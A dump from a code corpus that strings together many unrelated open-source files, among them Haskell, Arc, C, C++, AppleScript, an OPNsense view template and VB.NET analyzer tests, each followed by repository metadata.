## FIXME: v0.6 broke this.
# ar2 = begin
# 1
# a + b
# "cat"
# f(x)
# end
Apply(ClearAll,UserSyms())
| Objective-J | 3 | UnofficialJuliaMirrorSnapshots/Symata.jl-a906b1d5-d016-55c4-aab3-8a20cba0db2a | symata_test/input_test.sj | [
"MIT"
] |
{-# LANGUAGE DeriveFoldable #-}
{-# LANGUAGE DeriveFunctor #-}
{-# LANGUAGE DeriveGeneric #-}
{-# LANGUAGE DeriveTraversable #-}
{-# LANGUAGE ExistentialQuantification #-}
{-# LANGUAGE FlexibleContexts #-}
{-# LANGUAGE KindSignatures #-}
{-# LANGUAGE MultiParamTypeClasses #-}
{-# LANGUAGE QuantifiedConstraints #-}
{-# LANGUAGE RankNTypes #-}
{-# LANGUAGE StandaloneDeriving #-}
{-# LANGUAGE TypeOperators #-}
module Language.Python.Failure
( Failure (..)
, unimplemented
, invariantViolated
, eliminateFailures
) where
import Prelude hiding (fail)
import Control.Monad.Fail
import Data.Coerce
import Data.Kind
import GHC.Generics (Generic1)
import Syntax.Algebra
import Syntax.Foldable
import Syntax.Functor
import Syntax.Module
import Syntax.Sum
import Syntax.Term
import Syntax.Traversable
data Failure (f :: Type -> Type) a
= Unimplemented String
| InvariantViolated String
deriving Generic1
instance Show (Failure f a) where
show (Unimplemented a) = "unimplemented: " <> a
show (InvariantViolated a) = "invariant violated: " <> a
deriving instance Functor (Failure f)
deriving instance Foldable (Failure f)
deriving instance Traversable (Failure f)
instance HFunctor Failure
instance HFoldable Failure
instance HTraversable Failure
instance RightModule Failure where
a >>=* _ = coerce a
unimplemented :: (Show ast, Has Failure sig m) => ast -> m a
unimplemented = send . Unimplemented . show
invariantViolated :: Has Failure sig m => String -> m a
invariantViolated = send . InvariantViolated
eliminateFailures :: (MonadFail m, HTraversable sig, RightModule sig)
=> Term (Failure :+: sig) a
-> m (Term sig a)
eliminateFailures = Syntax.Term.handle (pure . pure) (fail . show)
| Haskell | 4 | tabulon-ext/semantic | semantic-python/src/Language/Python/Failure.hs | [
"MIT"
] |
(ns (defns "user.server"))
(= *url* (table))
;; entry point from js.
(def exec-url (uri method data headers)
(pair
(aif (*url* (list method uri))
(list "code" 200
"body" (apply it data headers)
"Content-Type" "text/html")
(list "code" 404
"body" (+ uri " is not Found.")
"Content-Type" "text/plain"))))
(def simple-render (lis)
;; '(html (body (h1 "x")))
;; => <html><body><h1>x</h1></body></html>
(if (atom lis) lis
(let c car.lis
(if (isa c 'sym)
(+ "<" c ">" (string:map [simple-render _] cdr.lis) "</" c ">")
(isa c 'cons)
(string:map [simple-render _] lis)))))
(def mappendtable (f tbl)
(let l (coerce tbl 'cons)
(mappend [f car._ cadr._] l)))
(defgeneric table-to-html (obj) (string obj))
(defmethod table-to-html (obj) cons
`(li ,@(map1 (fn (i) `(li ,(table-to-html i))) obj)))
(defmethod table-to-html (obj) table
`(dl ,@(mappendtable (fn (k v) `((dt ,k) (dd ,(table-to-html v)))) obj)))
(mac defpage (method path reqs . body)
`(sref *url*
(fn ,reqs (simple-render (do ,@body))) ;; this is demo, reqs is simply ignored.
(list ',method ,(string path))))
(defpage GET /index (data headers)
`(html
(body
(h1 ,"hello this is index-page.")
(p ,(+ "now is " (arc.time::msec))))))
(let times 0
(defpage GET /page1 (data headers)
`(html
(body
(h1 ,"this is page1")
(p ,(+ "You've accessed this page " (++ times) " times"))))))
| Arc | 4 | smihica/arc-js | demo/web_defs.arc | [
"Artistic-2.0"
] |
{
outPath: './gradients.mp4',
defaults: {
transition: { name: 'linearblur', duration: 0.1 },
},
clips: [
{ duration: 1, layers: [{ type: 'linear-gradient', colors: ['#02aab0', '#00cdac'] }] },
{ duration: 1, layers: [{ type: 'radial-gradient', colors: ['#b002aa', '#ac00cd'] }] },
{ duration: 1, layers: [{ type: 'linear-gradient' }] },
{ duration: 1, layers: [{ type: 'radial-gradient' }] },
],
}
| JSON5 | 3 | aaverty/editly | examples/gradients.json5 | [
"MIT"
] |
Map { font-directory:url('') }
#water { polygon-fill:#fff }
| CartoCSS | 0 | BuloZB/mapbox-studio | test/fixtures-fontstyle/a.mss | [
"BSD-3-Clause"
] |
import createSvgIcon from './utils/createSvgIcon';
import { jsx as _jsx } from "react/jsx-runtime";
export default createSvgIcon( /*#__PURE__*/_jsx("path", {
d: "M23.18 15.4 22.1 23h-9L8 17.62l1.22-1.23 3.78.85V6.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v6h1.38l5.8 2.9zM6 2.5V1h5v5H9.5V3.56L3.56 9.5H6V11H1V6h1.5v2.44L8.44 2.5H6z"
}), 'PinchSharp'); | JavaScript | 3 | dany-freeman/material-ui | packages/mui-icons-material/lib/esm/PinchSharp.js | [
"MIT"
] |
{#
# Copyright (c) 2021 Deciso B.V.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES,
# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
# AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
# AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
# OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#}
<script>
'use strict';
$( document ).ready(function() {
/*************************************************************************************************************
* link grid actions
*************************************************************************************************************/
let grid_pftop = $("#grid-pftop").UIBootgrid(
{ search:'/api/diagnostics/firewall/query_pf_top',
options:{
formatters:{
rule: function (column, row) {
if (row.label !== "") {
return "<a target=\"_blank\" href=\"/firewall_rule_lookup.php?rid=" + row.label + "\">"+row[column.id]+"</a>";
} else {
return row[column.id];
}
},
direction: function (column, row) {
if (row[column.id] == 'out') {
return "<span class=\"fa fa-arrow-left\" title=\"{{lang._('out')}}\" data-toggle=\"tooltip\"></span>";
} else {
return "<span class=\"fa fa-arrow-right\" title=\"{{lang._('in')}}\" data-toggle=\"tooltip\"></span>";
}
},
address: function (column, row) {
if (row[column.id+"_addr"]) {
let addr_txt = row[column.id+"_addr"];
if (addr_txt.includes(":")) {
addr_txt = addr_txt + ":[" + row[column.id+"_port"] + "]";
} else {
addr_txt = addr_txt + ":" + row[column.id+"_port"];
}
return addr_txt;
}
return "";
},
bytes: function(column, row) {
if (!isNaN(row[column.id]) && row[column.id] > 0) {
let fileSizeTypes = ["", "K", "M", "G", "T", "P", "E", "Z", "Y"];
let ndx = Math.floor(Math.log(row[column.id]) / Math.log(1000) );
if (ndx > 0) {
return (row[column.id] / Math.pow(1000, ndx)).toFixed(2) + ' ' + fileSizeTypes[ndx];
} else {
return row[column.id].toFixed(2);
}
} else {
return "";
}
}
},
requestHandler:function(request){
if ($("#ruleid").val() != "") {
request['ruleid'] = $("#ruleid").val();
}
return request;
},
}
}
);
grid_pftop.on('loaded.rs.jquery.bootgrid', function() {
$('[data-toggle="tooltip"]').tooltip();
});
// collect rule id's
ajaxGet("/api/diagnostics/firewall/list_rule_ids", {}, function(data, status){
if (data.items) {
for (let i=0; i < data.items.length ; ++i) {
$("#ruleid").append($("<option/>").val(data.items[i]['id']).text(data.items[i]['descr']));
}
$("#service_status_container").append($("#ruleid"));
$("#ruleid").selectpicker();
$("#ruleid").show();
$("#ruleid").change(function(){
$("#grid-pftop").bootgrid("reload");
});
let init_state = window.location.hash.substr(1);
if (init_state) {
$("#ruleid").val(init_state);
$("#ruleid").change();
}
}
});
});
</script>
<select id="ruleid" data-size="5" data-live-search="true" style="display:none">
<option value="">{{ lang._("Select rule") }}</option>
</select>
<div class="tab-content content-box">
<table id="grid-pftop" class="table table-condensed table-hover table-striped table-responsive" data-editDialog="DialogEdit">
<thead>
<tr>
<th data-column-id="id" data-type="string" data-sortable="false" data-identifier="true" data-visible="false" >{{ lang._('state id') }}</th>
<th data-column-id="dir" data-type="string" data-width="4em" data-formatter="direction">{{ lang._('Dir') }}</th>
<th data-column-id="proto" data-type="string" data-width="6em">{{ lang._('Proto') }}</th>
<th data-column-id="src" data-type="string" data-formatter="address" data-sortable="false">{{ lang._('Source') }}</th>
<th data-column-id="gw" data-type="string" data-formatter="address" data-sortable="false">{{ lang._('Gateway') }}</th>
<th data-column-id="dst" data-type="string" data-formatter="address" data-sortable="false">{{ lang._('Destination') }}</th>
<th data-column-id="state" data-type="string">{{ lang._('State') }}</th>
<th data-column-id="age" data-type="numeric">{{ lang._('Age (sec)') }}</th>
<th data-column-id="expire" data-type="numeric">{{ lang._('Expires (sec)') }}</th>
<th data-column-id="pkts" data-type="numeric" data-formatter="bytes">{{ lang._('Pkts') }}</th>
<th data-column-id="bytes" data-type="numeric" data-formatter="bytes">{{ lang._('Bytes') }}</th>
<th data-column-id="avg" data-type="numeric" data-visible="false">{{ lang._('Avg') }}</th>
<th data-column-id="descr" data-type="string" data-formatter="rule">{{ lang._('Rule') }}</th>
</tr>
</thead>
<tbody>
</tbody>
</table>
</div>
| Volt | 5 | Kipjr/core | src/opnsense/mvc/app/views/OPNsense/Diagnostics/fw_pftop.volt | [
"BSD-2-Clause"
] |
#history {
.file-list {
display: flex;
flex: 1;
border-right: var(--base-border);
}
}
| SCSS | 3 | testtas9812/desktop | app/styles/ui/history/_file-list.scss | [
"MIT"
] |
import stddef;
extern void* alloca(size_t len);
| Harbour | 1 | ueki5/cbc | import/alloca.hb | [
"Unlicense"
] |
--TEST--
Check for zip presence
--EXTENSIONS--
zip
--FILE--
<?php
echo "zip extension is available";
?>
--EXPECT--
zip extension is available
| PHP | 3 | NathanFreeman/php-src | ext/zip/tests/001.phpt | [
"PHP-3.01"
] |
#ifndef NPY_SIMD
#error "Not a standalone header"
#endif
#ifndef _NPY_SIMD_NEON_CVT_H
#define _NPY_SIMD_NEON_CVT_H
// convert boolean vectors to integer vectors
#define npyv_cvt_u8_b8(A) A
#define npyv_cvt_s8_b8 vreinterpretq_s8_u8
#define npyv_cvt_u16_b16(A) A
#define npyv_cvt_s16_b16 vreinterpretq_s16_u16
#define npyv_cvt_u32_b32(A) A
#define npyv_cvt_s32_b32 vreinterpretq_s32_u32
#define npyv_cvt_u64_b64(A) A
#define npyv_cvt_s64_b64 vreinterpretq_s64_u64
#define npyv_cvt_f32_b32 vreinterpretq_f32_u32
#define npyv_cvt_f64_b64 vreinterpretq_f64_u64
// convert integer vectors to boolean vectors
#define npyv_cvt_b8_u8(BL) BL
#define npyv_cvt_b8_s8 vreinterpretq_u8_s8
#define npyv_cvt_b16_u16(BL) BL
#define npyv_cvt_b16_s16 vreinterpretq_u16_s16
#define npyv_cvt_b32_u32(BL) BL
#define npyv_cvt_b32_s32 vreinterpretq_u32_s32
#define npyv_cvt_b64_u64(BL) BL
#define npyv_cvt_b64_s64 vreinterpretq_u64_s64
#define npyv_cvt_b32_f32 vreinterpretq_u32_f32
#define npyv_cvt_b64_f64 vreinterpretq_u64_f64
// convert boolean vector to integer bitfield
NPY_FINLINE npy_uint64 npyv_tobits_b8(npyv_b8 a)
{
const npyv_u8 scale = npyv_set_u8(1, 2, 4, 8, 16, 32, 64, 128, 1, 2, 4, 8, 16, 32, 64, 128);
npyv_u8 seq_scale = vandq_u8(a, scale);
#if NPY_SIMD_F64
npy_uint8 sumlo = vaddv_u8(vget_low_u8(seq_scale));
npy_uint8 sumhi = vaddv_u8(vget_high_u8(seq_scale));
return sumlo + ((int)sumhi << 8);
#else
npyv_u64 sumh = vpaddlq_u32(vpaddlq_u16(vpaddlq_u8(seq_scale)));
return vgetq_lane_u64(sumh, 0) + ((int)vgetq_lane_u64(sumh, 1) << 8);
#endif
}
NPY_FINLINE npy_uint64 npyv_tobits_b16(npyv_b16 a)
{
const npyv_u16 scale = npyv_set_u16(1, 2, 4, 8, 16, 32, 64, 128);
npyv_u16 seq_scale = vandq_u16(a, scale);
#if NPY_SIMD_F64
return vaddvq_u16(seq_scale);
#else
npyv_u64 sumh = vpaddlq_u32(vpaddlq_u16(seq_scale));
return vgetq_lane_u64(sumh, 0) + vgetq_lane_u64(sumh, 1);
#endif
}
NPY_FINLINE npy_uint64 npyv_tobits_b32(npyv_b32 a)
{
const npyv_u32 scale = npyv_set_u32(1, 2, 4, 8);
npyv_u32 seq_scale = vandq_u32(a, scale);
#if NPY_SIMD_F64
return vaddvq_u32(seq_scale);
#else
npyv_u64 sumh = vpaddlq_u32(seq_scale);
return vgetq_lane_u64(sumh, 0) + vgetq_lane_u64(sumh, 1);
#endif
}
NPY_FINLINE npy_uint64 npyv_tobits_b64(npyv_b64 a)
{
npyv_u64 bit = vshrq_n_u64(a, 63);
return vgetq_lane_u64(bit, 0) | ((int)vgetq_lane_u64(bit, 1) << 1);
}
//expand
NPY_FINLINE npyv_u16x2 npyv_expand_u16_u8(npyv_u8 data) {
npyv_u16x2 r;
r.val[0] = vmovl_u8(vget_low_u8(data));
r.val[1] = vmovl_u8(vget_high_u8(data));
return r;
}
NPY_FINLINE npyv_u32x2 npyv_expand_u32_u16(npyv_u16 data) {
npyv_u32x2 r;
r.val[0] = vmovl_u16(vget_low_u16(data));
r.val[1] = vmovl_u16(vget_high_u16(data));
return r;
}
// round to nearest integer
#if NPY_SIMD_F64
#define npyv_round_s32_f32 vcvtnq_s32_f32
NPY_FINLINE npyv_s32 npyv_round_s32_f64(npyv_f64 a, npyv_f64 b)
{
npyv_s64 lo = vcvtnq_s64_f64(a), hi = vcvtnq_s64_f64(b);
return vcombine_s32(vmovn_s64(lo), vmovn_s64(hi));
}
#else
NPY_FINLINE npyv_s32 npyv_round_s32_f32(npyv_f32 a)
{
// halves will be rounded up. it's very costly
// to obey IEEE standard on arm7. tests should pass +-1 difference
const npyv_u32 sign = vdupq_n_u32(0x80000000);
const npyv_f32 half = vdupq_n_f32(0.5f);
npyv_f32 sign_half = vbslq_f32(sign, a, half);
return vcvtq_s32_f32(vaddq_f32(a, sign_half));
}
#endif
#endif // _NPY_SIMD_NEON_CVT_H
| C | 3 | iam-abbas/numpy | numpy/core/src/common/simd/neon/conversion.h | [
"BSD-3-Clause"
] |
C~'D
{{{
{}}}
=== Euro € ===
Copyright: ©
Trademark: ®
Math: ⫆
Emoticon: 😃
No: fr;
| Creole | 0 | jquorning/ada-wiki | regtests/expect/wiki-import/entities-dec.creole | [
"Apache-2.0"
] |
DROP TABLE "public"."table43";
| SQL | 1 | eazyfin/graphql-engine | cli/commands/testdata/migrate-squash-test/migrations/1588172670422_create_table_public_table43/down.sql | [
"Apache-2.0",
"MIT"
] |
--TEST--
Bug #42919 (Unserializing of namespaced class object fails)
--FILE--
<?php
namespace Foo;
class Bar {
}
echo serialize(new Bar) . "\n";
$x = unserialize(serialize(new Bar));
echo get_class($x) . "\n";
?>
--EXPECT--
O:7:"Foo\Bar":0:{}
Foo\Bar
| PHP | 3 | guomoumou123/php5.5.10 | ext/standard/tests/serialize/bug42919.phpt | [
"PHP-3.01"
] |
atom-text-editor {
padding-top: 1234px;
}
| CSS | 0 | pyrolabs/atom | spec/fixtures/packages/theme-with-index-css/index.css | [
"MIT"
] |
set fontList to {{"LetterGothicMono\\ Light:h18", "lettergothic18"}, {"LetterGothicMono\\ Light:h14", "lettergothic14"}, {"Andale\\ Mono:h14", "andalemono14"}, {"Monaco:h14", "monaco14"}, {"DejaVu\\ Sans\\ Mono:h18", "dejavusans18"}, {"DejaVu\\ Sans\\ Mono:h14", "dejavusans14"}, {"SkyHook\\ Mono:h14", "skyhookmono14"}, {"Terminus\\ Medium:h20", "terminus20"}, {"Terminus\\ Medium:h12", "terminus12"}}
set fileSuffixes to {"-light", "-dark"}
tell application "MacVim"
--set thisSize to bounds of first window
end tell
set TestFolder to choose folder
tell application "System Events"
set TestFileNames to the name of every item of TestFolder whose name does not start with "."
end tell
tell application "MacVim"
activate
delay 1
my do_menu("MacVim", "File", "Close Window")
delay 1
my do_menu("MacVim", "File", "New Window")
delay 1
tell application "System Events"
keystroke ":set lines=30 | set columns=87 | set guifont=LetterGothicMono\\ Light:h18 | set guioptions-=Tm | set showtabline=0 | set transparency=0" & return
end tell
delay 1
tell application "Finder"
set screenResolution to bounds of window of desktop
set screenWidth to (item 3 of screenResolution)
set screenHeight to (item 4 of screenResolution)
end tell
repeat with t from 1 to number of items in fontList
set fontCommand to item 1 of item t of fontList
set fontDirectory to item 2 of item t of fontList
set tmpDir to ((POSIX path of (path to desktop)) as string) & fontDirectory
try
do shell script "mkdir " & tmpDir
end try
try
do shell script "rm " & tmpDir & "/index.html"
end try
do shell script "echo \"<h1>" & fontDirectory & "</h1>\" >> " & tmpDir & "/index.html"
repeat with i from 1 to number of items in TestFileNames
set ThisFileName to item i of TestFileNames
set ThisBaseFileName to (text 1 thru ((offset of "." in ThisFileName) - 1) of ThisFileName) as string
do shell script "echo \"<p><a href='#" & ThisBaseFileName & "'>" & ThisBaseFileName & "</a>\" >> " & tmpDir & "/index.html"
end repeat
tell application "System Events" to keystroke ":set guifont=" & fontCommand & return
delay 2
tell application "System Events"
set proc to (name of first process whose frontmost is true)
tell window 1 of process proc
-- get window initial position
copy position to {ini_x, ini_y}
copy size to {windowWidth, windowHeight}
set chromeHeight to 24
-- center window because the sips crop command automatically centers the cropped area in the image
set windowPosX to ((screenWidth - windowWidth) / 2) as integer
set windowPosY to (((screenHeight - windowHeight) / 2) - chromeHeight / 2) as integer
set position to {windowPosX, windowPosY}
end tell
end tell
delay 0.5
repeat with i from 1 to number of items in TestFileNames
set ThisFileName to item i of TestFileNames
set ThisBaseFileName to (text 1 thru ((offset of "." in ThisFileName) - 1) of ThisFileName) as string
open POSIX path of TestFolder & ThisFileName
delay 0.5
set tmpBaseFileName to "screen-" & ThisBaseFileName
set tmpPath to (tmpDir & "/" & tmpBaseFileName)
--set tmpPath to quoted form of tmpPath
do shell script "echo \"<h2 id='" & ThisBaseFileName & "'>" & ThisBaseFileName & "</h2>\" >> " & tmpDir & "/index.html"
repeat with fileSuffix in fileSuffixes
set tmpFileName to tmpPath & fileSuffix & ".png"
set tmpThumbName to tmpPath & fileSuffix & "-th.png"
set captureCommand to "screencapture" & space & "-x" & space & tmpFileName
set convertBaseCommand to "/usr/local/bin/convert " & tmpFileName & " -crop " & windowWidth & "x" & windowHeight & "+" & windowPosX & "+" & windowPosY
-- +dither turns *off* dithering
set thumbCommand to convertBaseCommand & " -thumbnail 20% -unsharp 0x.5 +dither -depth 8 -colors 256 -strip " & tmpThumbName
set cropCommand to convertBaseCommand & " +dither -depth 8 -colors 256 -strip " & tmpFileName
do shell script captureCommand
delay 0.5
do shell script thumbCommand
do shell script cropCommand
do shell script "echo \"<p><img src='" & tmpBaseFileName & fileSuffix & ".png'>\" >> " & tmpDir & "/index.html"
tell application "System Events" to keystroke ":Togbg" & return
delay 0.5
end repeat
end repeat
end repeat
end tell
on do_menu(app_name, menu_name, menu_item)
try
-- bring the target application to the front
tell application app_name
activate
end tell
tell application "System Events"
tell process app_name
tell menu bar 1
tell menu bar item menu_name
tell menu menu_name
click menu item menu_item
end tell
end tell
end tell
end tell
end tell
return true
on error error_message
return false
end try
end do_menu | AppleScript | 4 | luoqingzhou/solarized | utils/vimscreenshots.applescript | [
"MIT"
] |
/* Copyright 2019 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include "tensorflow/core/profiler/utils/op_metrics_db_utils.h"
#include <algorithm>
#include <string>
#include "absl/container/flat_hash_map.h"
#include "absl/strings/string_view.h"
#include "absl/types/optional.h"
#include "tensorflow/core/platform/logging.h"
#include "tensorflow/core/platform/types.h"
#include "tensorflow/core/profiler/protobuf/op_metrics.pb.h"
#include "tensorflow/core/profiler/utils/math_utils.h"
#include "tensorflow/core/profiler/utils/tf_op_utils.h"
namespace tensorflow {
namespace profiler {
const absl::string_view kIdle = "IDLE";
namespace {
class DeviceTfOpMetricsDbBuilder : public OpMetricsDbBuilder {
public:
explicit DeviceTfOpMetricsDbBuilder(OpMetricsDb* db)
: OpMetricsDbBuilder(db) {}
void UpdateTfOpMetricsWithDeviceOpMetrics(
absl::string_view tf_op_name, absl::string_view tf_op_type,
const OpMetrics& device_op_metrics) {
OpMetrics* tf_op_metrics = OpMetricsDbBuilder::LookupOrInsertNewOpMetrics(
/*hlo_module_id=*/0, tf_op_name);
if (tf_op_metrics->category().empty()) {
tf_op_metrics->set_category(
tf_op_type == kUnknownOp ? "Unknown" : std::string(tf_op_type));
}
tf_op_metrics->set_is_eager(device_op_metrics.is_eager());
// The occurrences of a TF-op is the maximum among the occurrences of all
// device ops that it contains.
tf_op_metrics->set_occurrences(std::max(tf_op_metrics->occurrences(),
device_op_metrics.occurrences()));
tf_op_metrics->set_time_ps(tf_op_metrics->time_ps() +
device_op_metrics.time_ps());
tf_op_metrics->set_self_time_ps(tf_op_metrics->self_time_ps() +
device_op_metrics.self_time_ps());
tf_op_metrics->set_flops(tf_op_metrics->flops() +
device_op_metrics.flops());
tf_op_metrics->set_bytes_accessed(tf_op_metrics->bytes_accessed() +
device_op_metrics.bytes_accessed());
}
};
} // namespace
OpMetricsDbBuilder::OpMetricsDbBuilder(OpMetricsDb* db) : db_(db) {
DCHECK_NE(db_, nullptr);
DCHECK_EQ(db_->metrics_db_size(), 0);
}
OpMetrics* OpMetricsDbBuilder::LookupOrInsertNewOpMetrics(
uint64 hlo_module_id, absl::string_view name) {
OpMetrics*& op_metrics = op_metrics_map_[hlo_module_id][name];
if (op_metrics == nullptr) {
op_metrics = db_->add_metrics_db();
op_metrics->set_hlo_module_id(hlo_module_id);
op_metrics->set_name(name.data(), name.size());
}
return op_metrics;
}
double IdleTimeRatio(const OpMetricsDb& db) {
return 1.0 - SafeDivide(db.total_op_time_ps(), db.total_time_ps());
}
uint64 IdleTimePs(const OpMetricsDb& db) {
DCHECK_GE(db.total_time_ps(), db.total_op_time_ps());
return db.total_time_ps() - db.total_op_time_ps();
}
void AddIdleOp(OpMetricsDb& db) {
uint64 idle_time_ps = IdleTimePs(db);
OpMetrics* metrics = db.add_metrics_db();
metrics->set_name(std::string(kIdle));
metrics->set_category(std::string(kIdle));
metrics->set_occurrences(0);
metrics->set_time_ps(idle_time_ps);
metrics->set_self_time_ps(idle_time_ps);
}
absl::optional<double> HostInfeedEnqueueRatio(const OpMetricsDb& db) {
if (db.total_host_infeed_enq_start_timestamp_ps_diff() > 0) {
// We use total_host_infeed_enq_start_timestamp_ps_diff to approximate the
// total host time.
return SafeDivide(db.total_host_infeed_enq_duration_ps(),
db.total_host_infeed_enq_start_timestamp_ps_diff());
}
return absl::nullopt;
}
OpMetricsDb CreateTfMetricsDbFromDeviceOpMetricsDb(
const OpMetricsDb& device_op_metrics_db, bool with_idle) {
OpMetricsDb tf_op_metrics_db;
DeviceTfOpMetricsDbBuilder builder(&tf_op_metrics_db);
for (const auto& device_op_metrics : device_op_metrics_db.metrics_db()) {
if (IsIdleOp(device_op_metrics)) {
if (with_idle) {
builder.UpdateTfOpMetricsWithDeviceOpMetrics(kIdle, kIdle,
device_op_metrics);
}
} else if (device_op_metrics.provenance().empty()) {
builder.UpdateTfOpMetricsWithDeviceOpMetrics(
device_op_metrics.name(), kUnknownOp, device_op_metrics);
} else {
TfOp tf_op = ParseTfOpFullname(device_op_metrics.provenance());
builder.UpdateTfOpMetricsWithDeviceOpMetrics(tf_op.name, tf_op.type,
device_op_metrics);
}
}
tf_op_metrics_db.set_total_op_time_ps(
device_op_metrics_db.total_op_time_ps());
tf_op_metrics_db.set_total_time_ps(
with_idle ? device_op_metrics_db.total_time_ps()
: device_op_metrics_db.total_op_time_ps());
return tf_op_metrics_db;
}
} // namespace profiler
} // namespace tensorflow
| C++ | 4 | EricRemmerswaal/tensorflow | tensorflow/core/profiler/utils/op_metrics_db_utils.cc | [
"Apache-2.0"
] |
#*****************************************************************************
# *
# Make file for VMS *
# Author : J.Jansen ([email protected]) *
# Date : 5 January 2011 *
# *
#*****************************************************************************
.first
define wx [--.include.wx]
.ifdef __WXMOTIF__
CXX_DEFINE = /define=(__WXMOTIF__=1)/name=(as_is,short)\
/assume=(nostdnew,noglobal_array_new)
.else
.ifdef __WXGTK__
CXX_DEFINE = /define=(__WXGTK__=1)/float=ieee/name=(as_is,short)/ieee=denorm\
/assume=(nostdnew,noglobal_array_new)
.else
.ifdef __WXGTK2__
CXX_DEFINE = /define=(__WXGTK__=1,VMS_GTK2=1)/float=ieee/name=(as_is,short)/ieee=denorm\
/assume=(nostdnew,noglobal_array_new)
.else
.ifdef __WXX11__
CXX_DEFINE = /define=(__WXX11__=1,__WXUNIVERSAL__==1)/float=ieee\
/name=(as_is,short)/assume=(nostdnew,noglobal_array_new)
.else
CXX_DEFINE =
.endif
.endif
.endif
.endif
.suffixes : .cpp
.cpp.obj :
cxx $(CXXFLAGS)$(CXX_DEFINE) $(MMS$TARGET_NAME).cpp
all :
.ifdef __WXMOTIF__
$(MMS)$(MMSQUALIFIERS) mediaplayer.exe
.else
.ifdef __WXGTK__
$(MMS)$(MMSQUALIFIERS) mediaplayer_gtk.exe
.else
.ifdef __WXGTK2__
$(MMS)$(MMSQUALIFIERS) mediaplayer_gtk2.exe
.else
.ifdef __WXX11__
$(MMS)$(MMSQUALIFIERS) mediaplayer_x11.exe
.endif
.endif
.endif
.endif
.ifdef __WXMOTIF__
mediaplayer.exe : mediaplayer.obj
cxxlink mediaplayer,[--.lib]vms/opt
.else
.ifdef __WXGTK__
mediaplayer_gtk.exe : mediaplayer.obj
cxxlink/exec=mediaplayer_gtk.exe mediaplayer,[--.lib]vms_gtk/opt
.else
.ifdef __WXGTK2__
mediaplayer_gtk2.exe : mediaplayer.obj
cxxlink/exec=mediaplayer_gtk2.exe mediaplayer,[--.lib]vms_gtk2/opt
.else
.ifdef __WXX11__
mediaplayer_x11.exe : mediaplayer.obj
cxxlink/exec=mediaplayer_x11.exe mediaplayer,[--.lib]vms_x11_univ/opt
.endif
.endif
.endif
.endif
mediaplayer.obj : mediaplayer.cpp
| Module Management System | 3 | madanagopaltcomcast/pxCore | examples/pxScene2d/external/WinSparkle/3rdparty/wxWidgets/samples/mediaplayer/descrip.mms | [
"Apache-2.0"
] |
' Licensed to the .NET Foundation under one or more agreements.
' The .NET Foundation licenses this file to you under the MIT license.
' See the LICENSE file in the project root for more information.
Imports Microsoft.CodeAnalysis.Editor.UnitTests.CodeActions
Namespace Microsoft.CodeAnalysis.VisualBasic.SimplifyLinqExpression
<Trait(Traits.Feature, Traits.Features.CodeActionsSimplifyLinqExpression)>
Partial Public Class VisualBasicSimplifyLinqExpressionTests
<Theory>
<InlineData("First")>
<InlineData("Last")>
<InlineData("Single")>
<InlineData("Any")>
<InlineData("Count")>
<InlineData("SingleOrDefault")>
<InlineData("FirstOrDefault")>
<InlineData("LastOrDefault")>
Public Shared Async Function TestAllowedMethodTypes(methodName As String) As Task
Dim testCode = $"
Imports System
Imports System.Linq
Imports System.Collections.Generic
Module T
Sub M()
Dim data As IEnumerable(Of Integer)
Dim test = [|data.Where(Function(x) x = 1).{methodName}()|]
End Sub
End Module"
Dim fixedCode = $"
Imports System
Imports System.Linq
Imports System.Collections.Generic
Module T
Sub M()
Dim data As IEnumerable(Of Integer)
Dim test = data.{methodName}(Function(x) x = 1)
End Sub
End Module"
Await VisualBasicCodeFixVerifier(Of VisualBasicSimplifyLinqExpressionDiagnosticAnalyzer, VisualBasicSimplifyLinqExpressionCodeFixProvider).VerifyCodeFixAsync(testCode, fixedCode)
End Function
<Theory>
<InlineData("First")>
<InlineData("Last")>
<InlineData("Single")>
<InlineData("Any")>
<InlineData("Count")>
<InlineData("SingleOrDefault")>
<InlineData("FirstOrDefault")>
<InlineData("LastOrDefault")>
Public Shared Async Function TestWhereWithIndexMethodTypes(methodName As String) As Task
Dim testCode = $"
Imports System
Imports System.Linq
Imports System.Collections.Generic
Module T
Sub M()
Dim data As IEnumerable(Of Integer)
Dim test = data.Where(Function(x, index) x = index).{methodName}()
End Sub
End Module"
Await VisualBasicCodeFixVerifier(Of VisualBasicSimplifyLinqExpressionDiagnosticAnalyzer, VisualBasicSimplifyLinqExpressionCodeFixProvider).VerifyAnalyzerAsync(testCode)
End Function
<Theory>
<InlineData("First")>
<InlineData("Last")>
<InlineData("Single")>
<InlineData("Any")>
<InlineData("Count")>
<InlineData("SingleOrDefault")>
<InlineData("FirstOrDefault")>
<InlineData("LastOrDefault")>
Public Shared Async Function TestQueryComprehensionSyntax(methodName As String) As Task
Dim testCode = $"
Imports System
Imports System.Linq
Imports System.Collections.Generic
Module T
Sub M()
Dim data As IEnumerable(Of Integer) = Nothing
Dim test = [|(From x In data).Where(Function(x) x = 1).{methodName}()|]
End Sub
End Module"
